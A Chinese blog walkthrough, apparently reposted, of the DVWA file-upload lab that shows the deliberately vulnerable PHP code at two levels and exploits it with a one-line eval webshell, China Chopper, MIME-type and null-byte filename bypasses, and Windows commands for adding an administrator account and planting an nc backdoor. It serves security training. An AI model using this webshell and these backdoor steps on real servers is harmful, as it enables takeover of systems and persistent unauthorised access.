DVWA之File Upload(文件上传漏洞)

      由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的。

      下面对不同级别的代码进行分析。

一:LOW

1、服务器端核心代码

<?php 

if( isset( $_POST[ 'Upload' ] ) ) { 
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

    // Can we move the file to the upload folder? 
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
        // No 
        echo '<pre>Your image was not uploaded.</pre>'; 
    } 
    else { 
        // Yes! 
        echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
    } 
} 

?>

        可以看到,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。

        文件上传漏洞的利用是有限制条件的,首先当然是要能够成功上传木马文件,其次上传文件必须能够被执行,最后就是上传文件的路径必须可知。

 2、漏洞利用

(1)首先先上传一个一句话木马hack.php,参数名(一句话木马口令)为hack

<?php
@eval($_POST['hack'])
?>

上传成功,并且返回了上传路径

 3、这时我们就可以使用中国菜刀这个工具了,右键添加

4、然后中国菜刀就会通过向服务器发送包含hack参数的post请求,在服务器上执行任意命令,获取webshell权限。可以下载、修改服务器的所有文件。

5、获取权限后,把cmd上传,此时是没有权限的(whoami查看权限),需要提权

补充:以下这几种命令有admin权限才能执行

           1、net user 查看用户

           2、net user 123 123  /add添加用户

           3、net localgroup Administrators 123 /add  把新建的123账号添加到管理员组

           4、net  start  telnet    开启靶机的telnet服务(利用telnet登录,使用ftp把nc下载到靶机并运行,这样就建立了后门)

           3、Systeminfo 查看计算机的信息(操作系统,位数,补丁情况等)

           4、Tasklist /svc 查看计算机的进程

           5、Netstat -ano 查看计算机的网络端口连接​​​​​​​

           4、在网站提权中我们经常会使用到这些工具Churrasco.exe (巴西烤肉)  cmd.exe  nc.exe  pr.exe  360.exe 等等。

如果说webshell不能执行cmd那么我们就需要上传一个cmd,如果说上传cmd后不能添加用户那么我我们就需要上传以上软件

如:上传成功后C:\WINDOWS\system32\pr.exe “net user 123 123 /add”。

二:Medium

1、服务器端核心代码

<?php 

if( isset( $_POST[ 'Upload' ] ) ) { 
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

    // File information 
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; 
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 

    // Is it an image? 
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && 
        ( $uploaded_size < 100000 ) ) { 

        // Can we move the file to the upload folder? 
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
            // No 
            echo '<pre>Your image was not uploaded.</pre>'; 
        } 
        else { 
            // Yes! 
            echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
        } 
    } 
    else { 
        // Invalid file 
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; 
    } 
} 

?> 

可以看到,Medium级别的代码对上传文件的类型、大小做了限制,要求文件类型必须是jpeg或者png,大小不能超过100000B(约为97.6KB)。

2、漏洞利用

(1)组合拳(文件包含+文件上传)

 因为采用的是一句话木马,所以文件大小不会有问题,至于文件类型的检查,尝试修改文件名为hack.png

<?php
@eval($_POST['hack'])
?>

上传成功

(2)这时打开中国菜刀

虽然成功上传了文件,但是并不能成功获取webshell权限。

(3)中国菜刀的原理是向上传文件发送包含hack参数的post请求,通过控制ack参数来执行不同的命令,而这里服务器将木马文件解析成了图片文件,因此向其发送post请求时,服务器只会返回这个“图片”文件,并不会执行相应命令。

(4)让服务器将其解析为php文件,抓包修改文件类型,上传hack.png文件,抓包。

1.png

尝试修改filename为hack.php。

1.png

上传成功。上菜刀,获取webshell权限。

方法二:截断绕过规则。

在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断,所以可以把上传文件命名为hack.php%00.png。可以看到,包中的文件类型为image/png,可以通过文件类型检查。

1.png

服务器会认为其文件名为hack.php,顺势解析为php文件

                                                                                               参考文章:http://www.freebuf.com/articles/web/119467.html

猜你喜欢

转载自blog.csdn.net/weixin_40586270/article/details/81735256